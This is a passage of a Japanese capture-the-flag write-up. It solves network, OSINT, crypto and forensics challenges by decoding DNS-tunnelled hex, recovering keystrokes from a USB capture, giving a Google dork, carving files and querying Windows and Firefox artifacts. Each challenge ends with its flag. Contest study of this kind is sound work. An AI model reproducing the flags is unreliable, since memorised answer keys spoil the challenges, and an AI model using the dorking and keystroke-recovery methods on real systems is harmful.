   25  18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net
   29  18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net
   53  18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net
   57  18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net
```

上から順に解読してきいます。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa003
   25  18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa002
   17  18.082911 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000c AAAA 005aa002735f69735f44414d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa001
   73  18.475280 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0028 AAAA 005aa001666c61677b546869.setodanote.net
```

得られた文字列は以下のとおりでした。

666c61677b546869
735f69735f44414d
4d595f464c41477d

これを解読すると、以下の通りになり明らかに誤りです。

```none
flag{This_is_DAMMY_FLAG}
```

次のIDも試します。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa008
   29  18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa007
   41  18.223104 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0018 AAAA 005aa0076f7272795f666f72.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa006
   21  18.096169 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000e AAAA 005aa00663655f7472795f53.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa005
   85  18.551924 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002e AAAA 005aa00520666c61677b4e69.setodanote.net

```

得られた文字列とフラグ以下のとおりでした。

20666c61677b4e69
63655f7472795f53
6f7272795f666f72
5f746861747d2066

```none
flag{Nice_try_Sorry_for_that}
```

だんだん不安になってきましたが、最後のIDを試してみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00c
   53  18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00b
   37  18.196979 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0016 AAAA 005aa00b5333637572313779.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00a
   33  18.166535 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0014 AAAA 005aa00a6c61677b444e535f.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa009
   49  18.329026 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001c AAAA 005aa0096c61672069732066.setodanote.net
```

得られた文字列とフラグ以下のとおりで、無事フラグを見つけられました。

6c61672069732066
6c61677b444e535f
5333637572313779
5f5431303731217d

```none
lag is flag{DNS_S3cur17y_T1071!}
```

#### フラグ

```none
flag{DNS_S3cur17y_T1071!}
```

#### 参考情報

https://attack.mitre.org/techniques/T1071/

### Logger

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/70402862-ff0f-f679-c644-7a6daf7aadae.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [tshark(v3.4.4)](https://www.wireshark.org/)

#### 攻略方法

PCAPファイルを解析する問題です。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ file logger.pcap
logger.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (USB with USBPcap header, capture length 134217728)
```

統計情報を見るとUSBのキャプチャデータのみでした。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -z io,phs -q

===================================================================
Protocol Hierarchy Statistics
Filter:

usb                                      frames:1100 bytes:34100
  usb.capdata                            frames:550 bytes:19250
===================================================================
```

タイトルがLoggerとありますので、キーロガーの可能性が高そうです。

調べてみると、キャプチャデータから入力文字を再現するスクリプトが見つかりました。

https://github.com/TeamRocketIst/ctf-usb-keyboard-parser

READMEに従い実施したところ、入力文字がわかりフラグがわかりました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbPcapData.txt

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ head usbPcapData.txt
02:00:00:00:00:00:00:00
02:00:12:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:11:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2c:00:00:00:00:00
00:00:00:00:00:00:00:00

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ python3 ctf-usb-keyboard-parser-master/usbkeyboard.py ./usbPcapData.txt
One popular but unverified explanation for the QWERTY arrangement is that it was designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal clashing of typebars by placing commonly used combinations of letters farther from each oher inside the machine.
```

#### フラグ

```none
flag{QWE_keyb0ard_RTY}
```

#### 参考情報

https://zarat.hatenablog.com/entry/2019/11/21/181429

https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4

https://github.com/TeamRocketIst/ctf-usb-keyboard-parser

## OSINT

### tkys_with_love

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/8c3c4bac-ccfd-730c-8eb8-2aaed442709e.png)

#### 攻略方法

`C6DF6`でググると、以下のページができました。

https://idyllicocean.com/vdb/ship18_vsl_info.php?id=2975

船名の英語表記があったので、そこからフラグを組み立てればOKでした。

#### フラグ

```none
flag{Symphony_of_the_Seas}
```

### Dorks

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/6972fe21-f825-b949-6045-f5531155b5ac.png)

#### 攻略方法

Google Hackingの代表的な検索方法の一つでした。

`login.php`は`inurl:login.php`で調べることができるので、これがフラグでした。

#### フラグ

```none
flag{inurl:login.php}
```

#### 参考情報

https://en.wikipedia.org/wiki/Google_hacking

https://www.exploit-db.com/google-hacking-database

### filters_op

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/f7c0bbaf-dad8-d4c5-8afb-69f5e6d31576.png)

#### 攻略方法

[@cas_nisc](https://twitter.com/cas_nisc) の過去のTweetを探し出せればよさそうです。

`twitter @cas_nisc 2017/5/15`で、ググると以下のTweetが最初にヒットし、ハッシュタグがわかりました。

https://twitter.com/cas_nisc/status/864058208536543232

#### フラグ

```none
flag{#WannaCrypt}
```

### MAC

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/58067aa6-65cc-8f85-11d4-c321fb6217bc.png)

#### 攻略方法

タイトルのとおりですが、MACアドレスのベンダ名を示している可能性が高いです。例題で検証をしてみます。

https://hwaddress.com/oui-iab/00-03-93/

https://hwaddress.com/oui-iab/00-01-A9/

https://hwaddress.com/oui-iab/04-2A-E2/

00:03:93 = Apple
00:01:A9 = BMW
04:2A:E2 = Cisco

ベンダ名の先頭1文字でした。問題文に記載されたMACアドレスのベンダ名を特定します。

https://hwaddress.com/oui-iab/2C-C2-60/

https://hwaddress.com/oui-iab/FC-EC-DA/

https://hwaddress.com/oui-iab/00-02-B3/

https://hwaddress.com/oui-iab/AC-44-F2/

https://hwaddress.com/oui-iab/FC-4E-A4/

2C:C2:60 = Oracle
FC:EC:DA = Ubiquiti Networks Inc.
00:02:B3 = Intel Corporation
AC:44:F2 = YAMAHA CORPORATION
FC:4E:A4 = Apple, Inc.

特定したベンダの頭文字1文字を結合させるとフラグになりました。

#### フラグ

```console
flag{O_U_I_Y_A}
```

### Ropeway

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/bbf09be0-de10-36e2-99b2-79f4f5b925fd.png)

#### 攻略方法

Googleの画像検索を利用すると、以下の通り`浜名湖`がサジェストされました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/b93afafc-ad0f-8406-c919-c21078d73bd9.png)

`浜名湖 Ropeway`でさらに検索すると、以下の通り`かんざんじロープウェイ`が見つかりました。あとは、問題文にあるとおりフラグ形式にすればOKです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/f34ff98b-9e73-40f7-7ffd-ef9ec22c01a8.png)

#### フラグ

```none
flag{kanzanji}
```

## Crypto

### base64

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/c6ac55d0-bbd3-d01b-9031-c1b0049ef6a0.png)

#### 攻略方法

よくあるやつなので、ワンライナーで一発でデコードできました。

```console
┌──(vagrant㉿kali)-[/vagrant/Crypo]
└─$ echo -n "ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==" | base64 -d
flag{It's_called_base64!}
```

#### フラグ

```none
flag{It's_called_base64!}
```

### ROT13

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/24451961-f1fc-7c03-3a82-f3d563f9d1ef.png)

#### 攻略方法

参考情報に記載のサイトを利用して、解読しました。

#### フラグ

```none
flag{Even_you_Brutus?}
```

#### 参考情報

https://rot13.com/

### pui_pui

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/f09a7630-6cf6-8f77-a7d2-5cbdc859b60c.png)

#### 攻略環境

- [CyberChef](https://gchq.github.io/CyberChef/)

#### 攻略方法

[CyberChef](https://gchq.github.io/CyberChef/)で、`From Hex`を選択しデコードしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/4f3b1865-c361-557e-afa0-bf342c069b12.png)

#### フラグ

```none
flag{Have_you_ever_heard_of_Hexdump?}
```

## Frensics

### paint_flag

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/2a29ff52-ebd8-0685-8f6e-a45895cd1323.png)

#### 攻略環境

- [binwalk(2.3.2)](https://tools.kali.org/forensics/binwalk)

#### 攻略方法

Wordファイルを対象にしたフォレンジックです。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+
```

まずは、中身を見てみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ binwalk paint_flag.docx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 344, uncompressed size: 663, name: docProps/app.xml
410           0x19A           Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 675, name: docProps/core.xml
852           0x354           Zip archive data, at least v2.0 to extract, compressed size: 1433, uncompressed size: 5780, name: word/document.xml
2332          0x91C           Zip archive data, at least v2.0 to extract, compressed size: 573, uncompressed size: 1933, name: word/fontTable.xml
2953          0xB89           Zip archive data, at least v2.0 to extract, compressed size: 215965, uncompressed size: 216319, name: word/media/flag.png
218967        0x35757         Zip archive data, at least v2.0 to extract, compressed size: 247808, uncompressed size: 247926, name: word/media/image1.png
466826        0x71F8A         Zip archive data, at least v2.0 to extract, compressed size: 1087, uncompressed size: 3153, name: word/settings.xml
467960        0x723F8         Zip archive data, at least v2.0 to extract, compressed size: 2772, uncompressed size: 29484, name: word/styles.xml
470777        0x72EF9         Zip archive data, at least v2.0 to extract, compressed size: 1688, uncompressed size: 8407, name: word/theme/theme1.xml
472516        0x735C4         Zip archive data, at least v2.0 to extract, compressed size: 328, uncompressed size: 894, name: word/webSettings.xml
472894        0x7373E         Zip archive data, at least v2.0 to extract, compressed size: 256, uncompressed size: 949, name: word/_rels/document.xml.rels
473208        0x73878         Zip archive data, at least v2.0 to extract, compressed size: 346, uncompressed size: 1362, name: [Content_Types].xml
473603        0x73A03         Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
474714        0x73E5A         End of Zip archive, footer length: 22
```

`flag.png`と、それらしいファイルを見つけましたので、解凍します。

```console

┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ unzip paint_flag.docx
```

`flag.png`を開くと以下の通りフラグが書かれてました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/fa870e19-d723-d872-119d-7dcbeede0ee9.png)
 
#### フラグ

```none
flag{What_m4tters_is_inside;)}
```

### Mail

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/21b85131-0c9c-9029-739b-407e4ffbcbfb.png)

#### 攻略方法

Imapのダンプデータからフォレンジックをする問題のようです。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail]
└─$ file ImapMail/mail.setodanote.net/*
ImapMail/mail.setodanote.net/Archives.msf:       Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Drafts.msf:         Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/filterlog.html:     HTML document, ASCII text
ImapMail/mail.setodanote.net/INBOX:              UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/INBOX.msf:          Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Junk.msf:           Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/msgFilterRules.dat: empty
ImapMail/mail.setodanote.net/Sent-1:             UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/Sent-1.msf:         Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Sent.msf:           Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Templates.msf:      Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Trash.msf:          Mozilla Mork database, version 1.4
```

個人のクラウドサービスへのバックアップのコピーを送信していたようなので、送信メールに着目して確認をします。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail/mail.setodanote.net]
└─$ cat -n Sent-1 | more          

<snip>

   103	Content-Type: application/x-zip-compressed;
   104	 name="kimitsu.zip"
   105	Content-Transfer-Encoding: base64
   106	Content-Disposition: attachment;
   108
   107	 filename="kimitsu.zip"
   109	UEsDBBQAAAAIAEKk8lIYGu97DhgHAG8YBwALAAAAZ29vZGpvYi5wbmdUumN3JUy0Rrtj27Zt
   110	d2zbtp2OOrZt29xJdtSxbXfccdKxk/ueM8Yd99wPNVat9QNmzXqqolWUpJHg8eEBAACSrIyE

<snip>
```

送信メールを確認していたところ、怪しい添付ファイルが送信されているところを見つけました。このファイルを復元できれば良さそうです。

vi等でbase64エンコーディングされた箇所のみを取りだして、デコードします。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat Sent-1| tr -d "\r\n" > encode_base64.txt

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat encode_base64.txt| base64 -d > kimitsu.zip

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ zipinfo kimitsu.zip
Archive:  kimitsu.zip
Zip file size: 465030 bytes, number of entries: 1
-rw-a--     2.0 fat   465007 b- defN 21-Jul-18 20:34 goodjob.png
1 file, 465007 bytes uncompressed, 464910 bytes compressed:  0.0%

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ unzip kimitsu.zip
Archive:  kimitsu.zip
  inflating: goodjob.png
```

`goodjob.png`を開くと以下の通りフラグが書いてありました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/e3b54b8e-02ba-b3fe-c78b-c88df760427e.png)

#### フラグ

```none
flag{You've_clearly_done_a_good_job_there!!}
```

### Deletefile

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/387a5a92-b9b7-ab3e-7755-8833e18f01e8.png)

#### 攻略環境

- [binwalk(2.3.2)](https://tools.kali.org/forensics/binwalk)

#### 攻略方法

拡張子から推測できましたが、Raw Image Fileからのフォレンジックです。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors
```

まずは、`binwalk`でファイルが存在するか見てみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk deletedfile.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
104448        0x19800         JPEG image data, JFIF standard 1.01
163840        0x28000         JPEG image data, JFIF standard 1.01
```

JPEGファイルが見つかりました。取り出してみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk -D='.*' deletedfile.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
104448        0x19800         JPEG image data, JFIF standard 1.01
163840        0x28000         JPEG image data, JFIF standard 1.01


┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ tree _deletedfile.raw.extracted
_deletedfile.raw.extracted
├── 19800
└── 28000

0 directories, 2 files

┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file _deletedfile.raw.extracted/*
_deletedfile.raw.extracted/19800: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 960x540, components 3
_deletedfile.raw.extracted/28000: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1996x1125, components 3
```

`19800`を開いたら以下の通りフラグが得られました。(マウントしなくてもフラグが得られました。)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/fdb42527-0b31-7111-5946-1fb0dee63979.png)
 

#### フラグ

```none
flag{nosce_te_ipsum}
```

### Timeline

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/265ae1da-7fae-1cb6-cee6-2454a7377726.png)

#### 攻略方法

Windows10のActivitiesCache.dbからのフォレンジックです。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/Timeline]
└─$ find C -type f | xargs file
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm: data
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db:     SQLite 3.x database, user version 27, last written using SQLite version 3025003
```

以下のプラグインでタイムラインの生成を試みるものの、うまく生成できなかったため、直接データをダンプすることにしました。

https://plaso-fork.readthedocs.io/en/latest/_modules/plaso/parsers/sqlite_plugins/windows_timeline.html

まずは、検索しやすいようにCSVファイルにダンプします。

```console
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ./ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity.csv
sqlite> SELECT * FROM Activity;
sqlite> .quit
```

ダンプしたCSVファイルを眺めていると、怪しいファイル名があることに気づきました。

```console
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ cat Activity.csv | strings | grep -i "E:/Appdata/.*txt"
"",""description"":""E:\\AppData\\OKdammyFlag.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/OKdammyFlag.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D8292-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131346,0,1626131346,"",,"",,0,0,,"",121
"",""description"":""E:\\AppData\\f.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/f.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D82EF-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131476,0,1626131476,"",,"",,0,0,,"",160
"",""description"":""E:\\AppData\\l.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/l.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975565-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131495,0,1626131495,"",,"",,0,0,,"",168
"",""description"":""E:\\AppData\\a.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/a.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975566-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131518,0,1626131518,"",,"",,0,0,,"",184
"",""description"":""E:\\AppData\\g.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/g.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975567-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131533,0,1626131533,"",,"",,0,0,,"",193
"",""description"":""E:\\AppData\\{.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/%7B.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975569-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131544,0,1626131544,"",,"",,0,0,,"",203
```

ファイル名の遷移を見ると`f` -> `l` -> `a` -> `g` -> `%7({)`となり、flagとなりそうなことがわかりました。

ただ、この時点でダンプしたときにソートをしていなかったことに気づいたため、以下の通りソートを実施しました。

```console
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headeres on
Error: unknown command or invalid arguments:  "headeres". Enter ".help" for help
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity_sorted.csv
sqlite> select Payload from Activity ORDER by LastModifiedTime ASC;
sqlite> .quit
```

ソートしたデートに対して以下のスクリプトを実行して、ファイル名を抽出します。


```console
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

with open("./Activity_sorted.csv") as f:
    for line in f:
        if 'AppData' in line:
            print(line.strip().split('AppData\\\\')[1][:10])
```

抽出したファイル名の1文字目を結合すると、フラグになりました。

```console
┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ ./solver.py
OKdammyFla
Heart.bmp"
f.txt"",""
l.txt"",""
a.txt"",""
g.txt"",""
{.txt"",""
T.txt"",""
h.txt"",""
3.txt"",""
_.txt"",""
local\\F.t
u.txt"",""
7.txt"",""
local\\U.t
r.txt"",""
e.txt"",""
local\\_.t
1.txt"",""
s.txt"",""
temp\\_.tx
N.txt"",""
0.txt"",""
w.txt"",""
}.txt"",""
lookllookd
NiceTry.tx
Heart.tif"
```

#### フラグ

```none
flag{Th3_Fu7Ure_1s_N0w}
```

### browser_db

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/2839891e-c2ca-1a95-99fc-c3734c2a5936.png)

#### 攻略環境

* [sqlite3(3.34.1)](https://github.com/sqlite/sqlite)
* [plaso(log2timeline)(v20201007)](https://www.kali.org/tools/plaso/)

#### 攻略方法

SQLiteのDBファイルからのフォレンジックです。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ file stella_9s84jetw.default-release_places.sqlite
stella_9s84jetw.default-release_places.sqlite: SQLite 3.x database, user version 54, last written using SQLite version 3035004
```

実態がわからないので、テーブルを見てみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ sqlite3 ./stella_9s84jetw.default-release_places.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
moz_anno_attributes    moz_historyvisits      moz_meta
moz_annos              moz_inputhistory       moz_origins
moz_bookmarks          moz_items_annos        moz_places
moz_bookmarks_deleted  moz_keywords
```

テーブル名から`Firefox`であることがわかりました。`plaso(log2timeline)`でタイムラインを作成します。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ psteal.py --parsers "sqlite/firefox_history" -o dynamic -w firefox-history-timeline.csv --source ./stella_9s84jetw.default-release_places.sqlite    
```

95件抽出ができました。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ wc -l firefox-history-timeline.csv
95 firefox-history-timeline.csv
```

grepするとflagが見つかりました。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ cat firefox-history-timeline.csv| grep flag
2021-07-18T18:44:16.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?t=ffab&q=duckduck&ia=web (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T18:44:18.441000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab&ia=images (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T19:03:56.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://steep-breeze-89f4.setodanote.workers.dev/#flag?? [count: 1] Host: steep-breeze-89f4.setodanote.workers.dev (URL not typed directly) Transition: TYPED,sqlite/firefox_history,-,-
```

#### フラグ

```none
flag{goosegoosego}
```

### CSIRT_asky_you_01

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/d7cb3d7d-09b0-7390-b709-0bba6e3e19ef.png)

#### 攻略環境

* [python-evtx(0.6.1)](https://pkg.kali.org/pkg/python-evtx)

#### 攻略方法

Windowsイベントログを調査する問題です。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ file Security.evtx
Security.evtx: MS Windows Vista Event Log, 145 chunks (no. 144 in use), next record no. 13877
```

grepしやすいように、ダンプします。


```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import Evtx.Evtx as evtx
from tqdm import tqdm

with evtx.Evtx("./Security.evtx") as f, open('event.xml', 'w') as w_f:
    for record in tqdm(f.records()):
        w_f.write(record.xml().replace('\n','').strip())
        w_f.write('\n')
```

以下の通り、13,876件のイベントがありました。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ ./solver.py

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ wc -l event.xml
13876 event.xml
```

ログオン成功のイベントIDは`4624`なので、以下のとおりgrepします。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | wc -l
699
```

もう少し絞り込みが必要そうです。以下のヒントがあるのでネットワーク経由のログインに着目してみます。

> ネットワーク経由のログインが成功したことを示している

ログイン元のIPアドレスが記録されるため、以下の通りログインに成功したIPアドレスを抽出すると3件のアドレスが抽出できました。

```console
┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | awk -F'IpAddress">' '{print $2}' | awk -F'</Data>' '{print $1}' | sort | uniq -c
    663 -
      3 10.1.2.105
     32 127.0.0.1
      1 192.168.224.120
```

